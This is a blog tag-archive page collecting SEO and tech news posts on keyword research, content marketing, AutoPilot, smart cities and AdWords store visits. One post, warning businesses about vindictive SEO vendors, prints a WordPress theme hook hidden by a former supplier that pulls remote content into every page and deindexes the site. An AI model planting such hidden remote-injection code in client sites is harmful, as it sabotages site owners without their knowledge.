Posts tagged need

Everything You Need to Know About On-Page SEO | SEJ – Search Engine Journal


Search Engine Journal
Everything You Need to Know About On-Page SEO | SEJ
Search Engine Journal
Generate traffic and increase your search presence by focusing on on-page SEO. Learn everything you need to know about your on-page strategy right here.

and more »

View full post on seo optimization – Google News

Everything You Need to Know About On-Page SEO – Search Engine Journal


Forbes
Everything You Need to Know About On-Page SEO
Search Engine Journal
It's a noisy marketplace. How are you optimizing your online presence to make your voice heard? It starts with ensuring your on-page SEO provides peak performance for your website and visibility for your target audience. Over the past few years, the on
Why Siri, Alexa And Cortana Will Destroy SEOForbes

all 4 news articles »

View full post on seo optimization – Google News

Everything you need to know about Google’s ‘Possum’ algorithm update

Wondering what’s up with local search rankings lately? Columnist Joy Hawkins has the scoop on a recent local algorithm update that local SEO experts are calling ‘Possum.’

The post Everything you need to know about Google’s ‘Possum’ algorithm update appeared first on Search Engine…

Please visit Search Engine Land for the full article.

View full post on Search Engine Land: News & Info About SEO, PPC, SEM, Search Engines & Search Marketing

Ecommerce SEO And Why Online Retailers Need It 09/19/2016 – MediaPost Communications

Ecommerce SEO And Why Online Retailers Need It 09/19/2016
MediaPost Communications
Traditional SEO performed on search engines like Google and Bing is taking a turn due to a new type of growth that we have never seen before — and it will …

and more »

View full post on seo optimization – Google News

Ecommerce SEO And Why Online Retailers Need It – MediaPost Communications

Ecommerce SEO And Why Online Retailers Need It
MediaPost Communications
Traditional SEO performed on search engines like Google and Bing is taking a turn due to a new type of growth that we have never seen before — and it will require optimizing ecommerce sites, from keyword research to technical SEO to link building.

View full post on seo optimization – Google News

Tesla upgrades AutoPilot — but you still need to pay attention

Lyon, France - January 25, 2016: Tesla supercharger station and parking in Lyon. Tesla is an American automotive and energy storage company that designs, manufactures, and sells luxury electric cars

Tesla Motors will send an over-the-air AutoPilot update to Model S and X owners, which adds radar improvements and additional safety warnings to the semi-autonomous system.

To understand the update, it is important to know how AutoPilot previously worked. A rear-view mirror camera, front bumper radar sensor and 12 ultrasonic sensors developed an image of the car’s surroundings. AutoPilot looked at the image from the camera, to recognize signs, obstacles, and movement and react accordingly.

See Also: Mobileye and Delphi aim for autonomous tech by 2019

In AutoPilot 8.0, Tesla has moved the primary information sensor from the camera to radar. The benefits of this move include six times more information per object, ability to work well in fog and heavy rain, and longer range.

Tesla has worked on the radar for a few months, fixing some of the kinks of the sensor to ensure it builds a near perfect image. Tesla CEO Elon Musk is confident the sensor will perform better, stating in a press interview after the announcement that it might have saved Joshua Brown, who was killed while driving on AutoPilot.

Tesla trying to weed out false positives

Another upgrade to AutoPilot comes in the form of a cloud “hivemind,” which will help remove “false positives” from the road.

“Initially, the vehicle fleet will take no action except to note the position of road signs, bridges and other stationary objects, mapping the world according to radar,” said the Tesla team in a press release. “The car computer will then silently compare when it would have braked to the driver action and upload that to the Tesla database. If several cars drive safely past a given radar object, whether Autopilot is turned on or off, then that object is added to the geocoded whitelist.”

The hivemind, what Tesla calls fleet learning, should give the AutoPilot a better impression of the roads before its activated.

Tesla has also added new warnings for drivers that use AutoPilot, to ensure they don’t take their hands off the wheel. If a driver ignores three beeps in an hour, the car will park and force the driver to take back control of the vehicle.

Musk said that while the warnings should reduce the likelihood of crashes, the system will never be perfect. He also reiterated that the Model S and X are two of the safest cars on the road, adding “I don’t think there’s a model within a multiple.”

The post Tesla upgrades AutoPilot — but you still need to pay attention appeared first on ReadWrite.

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Will smart cities need AI to truly flourish?

smart-city

A Deutsche Telekom official says artificial intelligence (AI) will be needed to break smart city data out of its silos.

As reported by Mobile World Live, thoughts about smart city evolution appeared on the blog of Claudia Nemat, the Deutsche Telekom (DT) board member who oversees Technology & Innovation Europe.

In her piece, Nemat described current smart city practices as trapping data from sensors in an isolated “landlocked lake.” But as sensors proliferate at blinding speed in global smart cities, the rivers of data being produced will turn into oceans. This will be complicated by the multiple digital platforms running simultaneously in each city.

Gartner predicts 1.6 billion connected devices will be hooked up to the larger smart city infrastructure by the end of this year. And as this rapidly expanding universe of devices ramps up the data flow, fears are mounting that smart cities won’t be able to handle the sheer volume of data flooding in.

DT says cities need to “analyze horizontally”

In order to effectively utilize all this data, she says smart cities need to develop the capability to analyze data horizontally, not just vertically. And the best way to tackle this complex data landscape is if operators fully embrace AI.

“The content of such data ‘oceans’ will be so massive, and the relevant analysis so complex, that only artificial intelligence will be able to carry out the relevant data processing and forwarding with the necessary accuracy and speed,” she said.

Nemat also provided updates of DT’s own smart city initiatives.

She highlighted the “digitized city centers” initiative that the company is testing in Dubrovnik and Bucharest. This project includes smart parking, street lighting and safety components.

The smart parking component lets drivers know if spaces are available which cuts down on traffic and pollution.

As well, DT is testing smart parking systems in the Italian city of Pisa, which has a high level of car-based commuters.

The post Will smart cities need AI to truly flourish? appeared first on ReadWrite.

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Five common keyword research mistakes you need to avoid

Before you dive into keyword research for your site, you should know about these common mistakes that many businesses and SEO firms make.

Avoiding these mistakes can save you time, help you re-think your marketing strategy, and drive the right customers to your site.

1) Picking keywords that are irrelevant to your customers

People often pick keywords with high search volumes in their field, but don’t pay enough attention to the relevancy of these keywords to their target customers. You need to choose keywords that match your customer’s concerns.

For example, if you’re targeting affluent families who are searching for good schools for their kids, you shouldn’t pick keywords like “low cost public schools ny” or “affordable schools ny”. These families aren’t searching for those keywords. Instead, you should optimize for keywords such as “best schools ny” and “elite boarding schools ny”

Each of your target customers have different needs and concerns, and they use different words when they search. You need to understand your customers and the language they use. Remember, each searcher has an intent, and is looking for something. Your page needs to provide the answer.

2) Focusing on too specific keywords

If you have a large site with lots of possible keywords combinations, you might be tempted to optimize for every little combination you can, in an attempt to cover them all. For example: type, color, price, size, etc. Do the math. This can lead to an unlimited amount of possible keywords.

Many of these lengthy combinations have low search volumes, with no one even searching for them. Also, targeting too many keywords can distract you from most important keywords.

Focus on the keywords that have good search volumes and the potential to drive business. Keyword quality is more important than keyword quantity.

keyword research

Don’t aim at generic keywords, or too specific keywords. It’s best to start with niche keywords that people use to search and buy your products/services.

These are the “low-hanging fruit” keywords that lead to customers who are easiest to close first. What are the highly specific long-tail keywords that pertain to your industry? Google calls this the “I want to buy” moment.

Once you have your best keyword groups, you can always expand them to target broader groups with various search intents.

art class search page

Example of a niche keyword: “art class for kids”

3) Selecting only a few big keywords

Another mistake that large websites often make is focusing on only a few top keywords. You only see this kind of approach in black-hat SEO claims, like “get top rankings for 30 big keywords” because black hat tactics (such as link networks) are often used to push rankings for a single keyword at a time.

leather womens shoes ppc

Trying to compete for “leather womens shoes” would be a waste of time for many businesses

An online marketplace with over 100,000 pages of content once asked us to do SEO for their list of 30 keywords. This SEO strategy just doesn’t make sense. 100,000 pages should be optimized for 300,000 – 500,000 keywords, in order to drive a big amount of traffic and grow the business.

We often follow a simple rule of thumb: each page should be optimized for 3-5 keywords, so the number of keywords is roughly planned by the amount of content.

4) Finding keywords based on existing site structure

When beginning keyword research, most people look at the main pages and major sections of their website, and then start to look for keywords for those pages.

They then optimize those same pages for the keywords they found. The problem is that you can miss out on a lot of great keywords that the current site structure and site content hasn’t covered.

The purpose of good keyword research is to find all possible keywords that your prospective customers are using to find you, and that has nothing to do with your site structure.

Your customers might be looking for very relevant content to your business, that’s not on your website at all! When doing good SEO, you should actually have to modify your site structure, and create entirely new sections and pages that are better optimized for the right keyword groups.

For a school consulting website, we found many strong keywords for a specific audience, like “boarding school for boys” and “boarding school for girls” which were not on the site at all.

We created new sections and pages for these important keywords. Had we relied on the existing site structure, we’d miss out on many of these valuable keywords.

keyword allocation part one

keyword allocation

5) Putting the wrong keywords on the wrong pages

Once you’ve grouped your keywords, you need to figure out where to place them on your website. This process is called keyword allocation, and it’s a critical step in the keyword research process.

A common mistake is adding irrelevant keywords to pages whose content doesn’t match the keywords, or pages that don’t match the search intent.

For example, users who search for “boarding schools in usa” are usually from overseas. Therefore, the page optimized for that keyword should indicate the value for international families who want to send their kids to US schools.

On the flip side, users who search for “top private schools in upper east side nyc” are usually people who understand the neighborhood, so the page content should adhere to their different needs. The keyword “boarding schools for girls” should be allocated to a page that concerns school girls.

It’s not simply about putting keywords on a page, it’s about matching each keyword with search intent and web page copy.

Mike Le is the Co-Founder and COO of CB/I Digital, a digital agency in New York that offers digital marketing and digital product services for clients. You can connect with Mike on LinkedIn and Twitter.

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What You Need to Know About Search Engine Optimization – 38668 Unofficial – Senatobia

What You Need to Know About Search Engine Optimization
38668 Unofficial – Senatobia
With time, search engines have been upgraded and made smarter to avoid search results which use questionable search engine optimization methods. This is done to provide users with an authentic and comfortable use of the internet as they are searching …

View full post on seo optimization – Google News

Self-driving? You’re gonna need a bigger data plan

Driverless car and autonomous driving concept and safety system symbol as a road with cars and one vehicle with human hands and arms waving up to the sky as a metaphor for hands free autopilot.

Smart technologies promise to connect us to our environment in new and exciting ways, but this increased connection comes at a cost. As more devices go online and transmit mass amounts of data to the cloud, the cloud itself needs to be capable of quickly receiving, analyzing, and returning that data.

During his keynote at the Intel Developer Forum, Intel CEO Brian Krzanich stated: “The average person today generates about 6-to-700 megabits a day. By 2020, the estimate is 1.5 gigabytes a day for the average person.” He continued, “The average autonomous vehicle, by 2020, will produce 4,000 gigabytes per day.”

See also: White House offers $400 million for next-gen wireless research

That is a lot of data. In fact, it comes out to roughly 1 Gbps when you look at all the various sensors and cameras that a fully-functional autonomous vehicle requires. Long-range radar, lidar, cameras, short and medium-range radar, and ultrasonic sensors enable the vehicle to have a full, 360-degree view of its surroundings.

To put it another way, an estimated four petabytes of data is going to be generated by each autonomous car on the road every year. That type of data would take today’s average wireless user over 167,000 years to top.

Intel’s solution to this massive data problem is to give the vehicles themselves the ability to take this data, process it, and convert it into actionable information locally. But this is only part of the solution. There will still need to be some form of communication with the cloud in order for an autonomous vehicle to make sound decisions about where it is going and what the best possible path is to get there.

Traffic analysis, mapping, weather updates, finding business addresses, and more are still areas where having a constant connection to the cloud is necessary. Not only that, but the companies that create these autonomous vehicles will need access to some of that data in order to improve on their systems and troubleshoot issues. This data is valuable, and companies will be hard-pressed to let it disappear.

Enter new wireless standards

5G, which is currently in research and development phase among top communications companies, is expected to be made available as early as 2018 during the Winter Olympics, but this is early speculation as there isn’t even a standard yet for the next-generation wireless technology. Even if this demonstration is successful, there are years of rollout required before 5G connections are available in most areas.

For telecom companies, there is very little benefit to this rapid expansion of their networks. While you can charge an arm and a leg for a smartphone’s data plan, can you do the same for that user’s car? Monetization drives businesses to build, and while the White House is doing its part by providing funding incentives for 5G research and development, the long-term costs involved with building and maintaining these new, more powerful networks will ultimately fall on these companies and their customers.

Autonomous cars are coming. The question is, are our wireless networks going to be ready for them?

The post Self-driving? You’re gonna need a bigger data plan appeared first on ReadWrite.

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Connected cars need to play well with smart cities

Road intersection

As autonomous vehicles and smart city investments continue their blistering growth, experts say it’s vital that these two connected juggernauts work in better synchronicity.

An article by IT Online discusses recent findings by the International Data Corporation (IDC) its report “Collaboration Between Automotive OEMs and City Leaders for Implementing Connected Car and Smart City Solutions.”

In the report IDC looked at the interplay between these two massively transformational technologies which are generating huge levels of investment.

Global spending on autonomous cars will reach $29.6 billion by 2017, while governments around the world plan to spend $16.5 billion on intelligent transportation systems in the same timeframe.

IDC says that private-sector leaders of connected car technology must better collaborate with state and local governments to develop further advancements in urban environments.

Specifically, IDC says these two factions must work together on developing solutions for such issues as urban congestion, environmental impacts, street safety, better vehicle design and more value-added services for citizens.

“Connected cars have reached critical mass, and their interaction with the transportation infrastructure within Smart Cities is ongoing,” said IDC report authors Heather Ashton and Ruthbea Yesner Clarke.

“Automotive OEMs and smart city leaders will need to work closely to ensure the continued development of, and support for, connected car capabilities and services such as vehicle-to-vehicle and vehicle-to-infrastructure communications that will increasingly include autonomous operations.”

But are smart cities projects tackling real problems?

IDC’s recommendations come amid reports that predict that annual revenues from smart city projects will grow to nearly $89 billion by 2025. Despite this spending most smart city initiatives, include smart transportation projects, are focusing on solving peripheral issues, with few big projects tackling core city problems.

Meanwhile, connected car technology is witnessing a global race between technology giants like Tesla, Google and traditional auto manufacturers to develop the category killing robot vehicle. Yet these proponents of autonomous vehicles are focusing more on the technical self-sufficiency of their cars in urban environments, and less on how they integrate into the larger fabric of the reconfigured smart city of the future.

The post Connected cars need to play well with smart cities appeared first on ReadWrite.

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Why agencies need to learn from the past and evolve

SEO agencies need to place greater emphasis on user experience. But how can agencies make this transition? Columnist Ian Bowden believes we can learn from the recent shift to content marketing.

The post Why agencies need to learn from the past and evolve appeared first on Search Engine Land.

Please visit Search Engine Land for the full article.

View full post on Search Engine Land: News & Info About SEO, PPC, SEM, Search Engines & Search Marketing

Why your content and SEO strategy need to be joined up

There are some sites creating useful or interesting content, that are being let down by a lack of attention to SEO. 

In yesterday’s #semrushchat there was such an example, a site offering copywriting services, but one that seemingly needed to pay more attention to SEO.

The site was kreativ forditas, and had submitted itself for review by the semrushchat participants. I’m not going to detail the whole review, but a few SEO-related issues were flagged:

Some are quite easy to fix. For example, meta-descriptions can be added retrospectively and, though it’s not a ranking signal, it should help CTR.

The internal linking issue intrigued me, as the site had nofollowed 103 internal links, which just seems an odd thing to do. 

Looking at the site in more detail, it seems that at least some of the nofollowed internal links were to pages such as login pages, which don’t necessarily represent a missed opportunity. 

However, though the site had some interesting content around the practice of copywriting – content which should help it attract its target audience, and to help lift other pages on the site, it appears to have been created without much thought for SEO. 

copy blog

The site offers content creation, content critique and copywriting services. You would think the obvious think to do would be to link from these articles to the sales pages on the site, thus helping them rank for target terms. 

Indeed, a well-executed content strategy would use internal linking to consistently link to, for example, the copywriting sales page on the site in every mention of the keyword. This would give a strong signal to search engines that that page should be returned for searches on the term. 

Instead, very few of the articles have links at all, and those that do are generally linking to other articles. This means that most of the blog content on the site is doing very little to support the sales pages. 

Of course, some of this content may attract visitors to the site, but it’s doing very little to help the site’s search visibility. 

Another example of this is Millets, which I looked at in a recent post on optimising for searches around festival products – clothing, essential gear, tents etc. 

Its search performance is inconsistent, in part because it doesn’t use the content it creates to help with search visibility. 

millets seo

It has created some useful content around festivals, but isn’t linking to its product or category pages to help them perform more effectively for these searches. 

All Millets needs to do is to link consistently from the content to the landing pages to help them rank more effectively and consistently for target keywords. 

millets blog

It’s another example of a content strategy which hasn’t considered SEO enough. As I wrote in an older post, content marketing and SEO can work together very effectively. 

Content creation helps to achieve search goals, while an eye on SEO helps the content to perform more effectively and reach a wider audience. 

However, creating content in isolation without considering search simply means it’s unlikely to perform as well as it could.

View full post on Search Engine Watch

What do content marketers need to know about SEO?

The way that search marketing has evolved over the last few years has brought content marketing and SEO ever closer together

Content creation and SEO used to be very separate disciplines in the past, but now it’s hard to see how either can be practiced effectively without at least some knowledge of the other.

Which brings me to the question: what do content marketers need to know about SEO (and vice versa) to achieve the best results?

In this post I’ll make an attempt to answer that question, with the help of Kevin GibbonsMD at Blueglass and Sticky Content’s Content Director Dan Brotzel.

What do content marketers need to know about SEO?

Here are some of the tactics and skills, mainly associated with SEO, that content marketers need to be aware of.

I’ve not mentioned technical SEO here, though it is of course important as the foundations on which effective SEO (and content marketing) is built.

Keyword research

Keyword research enables SEOs to find gaps and opportunities to help target pages rank, by understanding the popularity of keywords.

For example, a site producing content around wedding dresses needs to understand the most popular terms used, and the range of terms they need to optimise their content around.

There are lots of useful SEO tools (many are free) which can help with keyword research. Google’s Keyword Planner and Trends are obvious ones (though Keyword Planner has just become less useful), while just typing terms into Google and seeing the suggested searches is another way.

One tool I’ve found useful recently is Answer the Public, which provides some great insight into the kinds of questions people have around a particular topic.

answer the public

Here are the results for ‘content marketing’. It provides some great insight into the kinds of questions people are asking around a topic, which should help content marketers to target more effectively, as well as generating some useful ideas.

answer the publicAccording to Dan Brotzel:

“Keywords and other SEO insights are a vital tool. They provide a useful (and often surprising) index of users’ preoccupations, and the words that they actually use to phrase their searches. Anyone in the business of generating ideas for content should see keyword research/data as a rich resource for understanding user intent and interest, and make it integral to their brainstorming process.”

Knowledge of user search behaviour

This is related to keyword research, as this provides insight into how people search, the language used etc. It’s more than that though…

Insights such as the seasonality of some searches can inform content planning, as can the way people view and interact with search results.

/IMG/542/320542/awr-ctr-study

Effective content marketing looks at the target audience’s questions and concerns and produces content to address their needs. Knowledge of how people search and what the search for provides plenty of insight to help with this goal.

Attracting authority links

Link building is a valuable tactic for SEOs and one which content marketers should be aware of.

They don’t necessarily have to actively build links, but can attract links by creating content that people want to link to and promoting in to relevant publications and channels.

Indeed, a 2016 link building study found that content based link building was by far the most effective method.

Link building tactics most effective

Proving the value of content

There are plenty of content marketing metrics to look at, and the SEO value of content should be part of the measurement applied to content efforts.

As Kevin Gibbons says, it can help to secure budget:

“Knowing the role SEO can play helps to prove the value of content. If you can forecast and report that your content will generate a monetary value in terms of organic traffic and revenue, this is when people can start to scale their investment towards building valuable content assets.”

There are several SEO-related metrics to look at – the organic traffic (and any related revenue) delivered by the content you produce, the links it attracts, and the success in securing organic search positions.

keyword

What do SEOs need do know about content marketing?

These are the tactics and skills normally associated with content production which are becoming ever more valuable to SEOs.

Many of these tactics are interchangeable. For example a focus on the target audience is essential for SEO and content marketing.

The importance of storytelling

Content creation requires a degree of creativity, which can also be valuable from an SEO perspective.

As Kevin Gibbons explains:

“The biggest thing SEO can learn from content marketing, in my opinion is around the importance of storytelling.

It’s vital that you get your message across, providing the best experience in the format that resonates with your target audience. SEOs can often be guilty of sticking to the tried and trusted campaigns that have worked in the past, great content marketers realise that it’s not about what we think, it’s about your audience.

Do your persona analysis, speak to your customers, find out what they really want to see and have a less is more approach towards driving and engagement through doing the best job possible to tell your story.”

storytelling

A focus on the audience/customer

An effective content strategy needs to address the needs of your target customer, and should also align with business goals. It’s not just about attracting traffic, rather it should aim to attract the right kind of customer.

If you address the needs of your target customer through content, the viewers of this content are likely to be your target audience.

For example, retailers can use content such as how-to guides to attract potential customers. So, Repair Clinic produces useful guides on appliance repair. This is useful content which also ties in closely with, and therefore helps to promote, its products.

It’s great for SEO too, as it helps them to target searchers with appliance-related problems, its target audience.

/IMG/728/333728/pressure-water-leask-water-rp

There are SEO tools and techniques which can help to answer these questions, but a broader understanding of the target customer can be gained by using a wide range of information.

This includes customer surveys and reviews, information from customer service interactions, and much more.

As Dan Brotzel says, this process requires creativity:

“Content marketers need to apply editorial initiative and imagination to generating ideas for content that can both address users’ needs and business requirements. They need to find ways to answer the question: What kind of content do our users care about? What counts as a good idea for them? What kind of ideas and content can we credibly produce from within our niche? How can we use content to support our goals?”

Importance of quality content

The old SEO techniques of churning out content for the sake of putting target keywords on a page is no longer effective.

Algorithm updates have forced SEOs to think more about the quality of the content they produce, and this is also the focus of effective content marketing.

As Dan Brotzel says, quality is what users want:

“The great thing about the evolution of SEO is that it is pushing content ever closer to the one criterion that users are ever likely to care about: quality. Yes, you want your content to surface high in results (and to be accessible and scannable, come to that), but there’s no point being easy to find and consume if what you’re offering users isn’t on reflection actually worth finding.”

Quality is, of course, a very subjective term, and is ultimately something for the end user to judge, but the aim should be to produce content that is valuable.

This can be measured to a certain extent in the way that users interact with it (on-page behaviour, actions taken after reading etc) but also in the way that search engines rank content.

Quality can also be a factor in search rankings. For example, if the content is answering the question that the searcher typed into Google, this helps it rank higher.

This is the ‘long click’ (as explained here by Bill Slawski). It’s similar to – but not the same as – bounce rates.

It’s essentially a measure of how long a user spends on a page before returning to the search results page. If they take time, or don’t return to search results, it tells Google that the content has satisfied the searcher, and is therefore relevant to the search query.

Over time, quality content which achieves this will rank well. It will also attract links and social shares, all of which help in terms of SEO.

This is why a focus on evergreen content can be a great tactic for content marketers and SEOs alike.

For example, a post on SEO basics (since updated) from 2014 has delivered traffic over a long period of time. There’s an initial spike after publication, but the traffic didn’t drop off totally, it continued to deliver visitors to this site. In fact it attracted more than 25,000 pageviews last month, more than two years after publication.

The reason is that this is useful content for searchers, and this has helped the article top Google for the term ‘SEO basics’ for some time. This ranking then helps to deliver more visits, attract links, and so on. It’s a virtuous circle.

/IMG/376/338376/seo-basics-stats

/IMG/377/338377/seo-basics-2

In summary

The reality is that no marketing discipline can exist in a vacuum. They all rely on skills and techniques normally associated with other disciplines.

Email marketers need some content skills to make their subject lines and email copy more effective, ecommerce sites rely on SEO techniques to attract customers, and so on.

For content marketing and SEO, its very important for practitioners to understand the importance of the tactics and skills of each.

In a nutshell, SEO requires good content to be really effective, while content producers need to use SEO to help with content planning, and to ensure that the content they work hard on can be found by their target audience.

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Why you may need to be aware of booby traps when hiring a new SEO

The online marketing world can be somewhat of a wild west in many regards, with SEO at the center of the chaos.

Of the thousands of providers across Australia there are no shortages of promises, case studies and packages available for every business size. The central premise of SEO is that you will get long-term sustained traffic for your investment.

The industry as a whole has a simple paradox that it must deal with, if they do their job properly, they are theoretically not needed anymore, and then stand to lose a customer. Meanwhile, if they do not do their job properly they are guaranteed to lose a customer.

Within 24 hours of one of my SEO clients deciding they were happy enough with their rankings and deciding to pull out of their retainer, one of my other clients had finally finished their 12-month web design and SEO package with their initial provider.

As I was asking myself “how can I adapt my business to allow for sudden client satisfaction,” my other clients were in the process of having their site migrated to my server.

I arrived at my client’s office to begin a day’s work, and we checked the rankings for their site. The migration had been completed a few days prior and had gone through smoothly.

That abysmal feeling of dread came, as we saw that the site couldn’t be found nestled in its top positions for any of it’s search terms anymore.

The weird thing, as I checked for manual penalties or de-indexation by searching site:example.com, it became apparent that not every page had been dropped. Only the homepage so far.

This at least narrowed the search down, and meant that I could check the source code for the homepage, and see if there was anything odd going on.

Sure enough, there it was:

<meta name= “robots” content=”noindex,follow”/>

This line of code tells Google and other search engines to remove the website from their index, rendering it unfindable. It has its time and place in day-to-day web design and marketing, but clearly does not belong on the homepage of a website that is trying to gain traffic and potential customers.

I decided to fix the problem first and then later deal with the lingering question of ‘why has this code suddenly turned up?’

Once the hunt had begun for where exactly this code was generating from, I became less and less convinced that this was some sort of accident.

Searching within any of the website files for ‘noindex’ turned up nothing, almost like the code wasn’t actually in there anywhere. Even downloading the entire set of website files and running them through a dedicated file searching tool, we couldn’t find a single instance of ‘noindex’ anywhere within the website.

Sure enough though, the noindex code was in there somewhere, and not just the front page it would seem. Google had dropped the front page but had not yet gotten around to deindexing the rest of the pages, even though every page had the code.

The webhosting company that oversaw the migration assured me that they had simply taken the site files and placed them on a server, never touching any of the code. They joined the hunt.

We eventually discovered the source of the code; it was both ingenious and simple.

I received an email from the developer in charge of migrating the site:

We have looked through the code and found the following lines in the themes functions.php file…

add_action(‘wp_head’,’sidebar_config’, 1, 3);
function sidebar_config()
{
$output = file_get_contents(‘http://robots.clients.(*previous suppliers domain*).com.au/’);
echo $output;
}

Disabling only these has resulted in the nofollow,noindex disappearing.

Note that this specifically references to connect to and retrieve a file from robots.clients.(*previous suppliers domain*).com.au and then output the code into your site.”

As I spoke with the developer, he informed me, that this code is only triggered if the site is no longer being hosted on the previous supplier’s website.

The previous suppliers dismissed it as a mistake, initially trying to tell me that it must have happened during the migration, and then later saying that they may have accidentally left the code in there, who knows.

One thing is for sure, these guys who have been in business much longer than I have, know their game well.

When a client drops me, I ask myself “what could I have done to keep them happier?” and “should I perhaps package my services better?”

When a client drops them, their entire site gets deindexed.

I think I prefer the soul-searching quest to provide value that people don’t walk away from, rather than the vindictive attempt to hedge a sites rankings to my server.

View full post on Search Engine Watch

10 Questions You Need Answered Before Signing With an SEO Firm – Entrepreneur

10 Questions You Need Answered Before Signing With an SEO Firm
Entrepreneur
Keeping up with SEO (Search Engine Optimization) best practices is a challenge for most businesses. Google always seems to have a major algorithm change on the horizon — not to mention the changes they make without telling anyone. Hiring a firm can be …

View full post on seo optimization – Google News

Everything you need to know about AdWords’ store visit conversions

Ecommerce sales came to more than $341 billion in 2015. That’s huge. But amazingly, 90% of sales still happen in stores, not online, according to Google.

That’s why AdWords introduced the in-store visits metric in 2014. The consumer purchase journey is now more complex than ever – and Google wanted to create a way businesses could understand how much in-store foot traffic their location-based PPC ads were driving.

Thus far, Google has measured more than 1 billion store visits. But not every business has access to this powerful metric.

At the Google Performance Summit – where Google announced Expanded Text Ads, new local search ads, and gave us a preview of the new AdWords interface – in-store conversions were one of the huge topics of conversation, and Google promised this metric would soon become more widely available to more businesses.

If you’re a local business, the combination of new Google Maps Local Search ads and in-store conversions will be an absolutely killer combination.

To get you ready, here are seven things you need to know about AdWords’ store visit conversions.

1. What are store visit conversions?

Google estimates store visit conversions by looking at phone location history to determine whether someone who clicked on your search ad ended up visiting your store. Google looks at ad clicks on all devices – smartphone, desktop, and tablet.

In-store conversion data will help you understand which ad campaigns, keywords, and devices send the most people to your store so you can optimize your account to increase ROI. It doesn’t guarantee that someone bought from you – just that they visited after clicking on one of your ads.

Google’s goal is to provide the data so you can attribute the online value of your ad spend. In less than two years, advertisers in the retail, restaurant, travel, automotive, and finance industries have counted more than one billion store visits globally.

For privacy reasons, in-store conversion data is based on anonymous and aggregated data gathered from people who have Location History turned on. A conversion can’t be tied to an individual ad click or person.

Here’s Google’s official overview video on AdWords Store Visits Conversions:

2. What technology does Google use to measure store visits?

Google Maps knows the exact coordinates and borders of millions of businesses globally. That’s why the AdWords team worked with the Google Maps team to match location history for hundreds of millions of users with Maps data for more than two million businesses.

Google says they use a hybrid approach with a large number of signals in order to measure visits.

To ensure accuracy, Google also surveyed more than 5 million people to confirm they actually visited a store. Google used this information to update its algorithms and reported that its results are “99% accurate”.

3. What’s new with store visits?

At the Performance Summit, Google announced that it most recently made in-store visits available to manufacturers, like auto manufacturers, to track store visits to dealerships.

Google shared a case study on how Nissan UK has been using store visit conversion data to see which keywords and campaigns were driving people into their dealerships to buy a car and increase their ROI by 25x. They’ve used the data to map buyer journeys to reach them at key moments of the research journey.

They discovered that 6% of their mobile ad clicks resulted in a visit. This is huge, considering that the average consumer only visits a dealership twice before actually buying.

You can see more in this video AdWords posted:

4. Is Google using beacons to improve?

Google said it is starting to experiment with beacons to improve its algorithm. Google is exploring how to use Bluetooth Low-Energy (BLE) beacons for in-store analytics and in-store visits.

In fact, Google has a BLE beacon pilot underway that should eventually help people who operate at smaller locations and businesses by ensuring Google is getting and providing the most precise and accurate location data for the least amount of effort.

5. How many store visits are incremental?

Though most purchases happen in person at a physical location, digital channels – especially paid search – still play a huge role in the research and buying process.

Google wanted to quantify the substantial offline impact mobile search ads can have on a business. So Google ran a study of 10 top big box US retailers (including Target and Bed, Bath & Beyond) to determine how many store visits are incremental.

What Google found was that, on average, the number of incremental store visits driven by mobile search ads actually exceeded their number of online purchase conversions.

The study essentially found that these store visits otherwise never would have happened, if not for the influence of mobile search ads.

6. How can you get access to store visit conversions?

Store visits have been made available to more than 1,000 advertisers in 11 countries so far, and Google promises more will gain access soon. If you want to start tracking store visits, you can contact your account manager.

Not every business can track store visits yet – there are a few requirements. You must:

  • Have multiple physical store locations in an eligible country.
  • Receive “thousands” of ad clicks and “many” store visits every month.
  • Link a Google My Business account to your AdWords account.
  • Enable location extensions.

7. Where can you view visit conversions?

Store visit conversions will be added to the “All conversions” column in your campaign reports. If you haven’t already, you’ll need to add this column to your reports:

Store visits are available at the campaign, ad group, and keyword level and can be segmented by device. Google provides step-by-step instructions here.

View full post on Search Engine Watch

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